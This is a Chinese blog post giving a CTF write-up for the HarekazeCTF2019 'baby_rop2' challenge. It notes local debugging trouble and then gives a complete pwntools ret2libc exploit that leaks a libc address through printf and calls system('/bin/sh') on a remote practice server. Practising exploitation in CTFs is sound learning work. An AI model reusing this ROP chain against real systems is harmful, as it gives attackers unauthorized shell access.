pwn | [HarekazeCTF2019]baby_rop2

pwn | [HarekazeCTF2019]baby_rop2

x64 ret2libc 给了libc

这个题有一点点问题,就是我本机ubuntu20栈溢出跳不出去。。。很怪,就直接打remote了。

补充
重新调试了一下,本机的问题(如下)
image

rbp-4的地方是一个变量v6

image

所以读取完了以后对v6的操作将我们的输入给断开了。
但是这理论上是不影响我们栈溢出的啊?
手动给栈上赋值发现是可以跳转的,很怪
然后gdb附加了pwntools打开的那个进程,发现问题是在调用printf的时候出现的,嘛,就是奇奇怪怪的问题可能是栈没对齐什么的吧,基本上就是这样了
image


网上很多答案用printf的时候还先pop一个%s的格式串,纯属画蛇添足。

exp:

from pwn import *
from LibcSearcher.LibcSearcher import *

context.log_level = 'debug'

elf = ELF('./babyrop2')
libc = ELF('./libc.so.6')

# p = process('./babyrop2')
p = remote('node4.buuoj.cn', 27532)


p_plt_printf = elf.plt['printf']
p_got_read = elf.got['read']
p_plt_read = elf.plt['read']
p_poprdiret = 0x0000000000400733
p_main = 0x0000000000400636

p_libc_system = libc.symbols['system']
p_libc_binsh = next(libc.search(b'/bin/sh'))
p_libc_read = libc.symbols['read']
p.recvuntil('? ')



# leak addr of printf
#    rubbish + poprdiret + addr_to_pop_into_rdi + ret_to_printf  + retaddr_of_printf
payload = b'M'*(0x20+8) + p64(p_poprdiret) + p64(p_got_read) + p64(p_plt_printf) + p64(p_main)

p.sendline(payload)

p.recvuntil('!\n')
tmp = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(tmp))    # get the addr of read

# calculate addr
p_libc_base = tmp - p_libc_read
p_system = p_libc_base + p_libc_system
p_binsh = p_libc_base + p_libc_binsh


p.recvuntil('? ')
payload = b'M'*(0x20+8) + p64(p_poprdiret) + p64(p_binsh) + p64(p_system)

p.sendline(payload)


p.interactive()


posted @ 2022-12-09 15:42  Mz1  阅读(87)  评论(0编辑  收藏  举报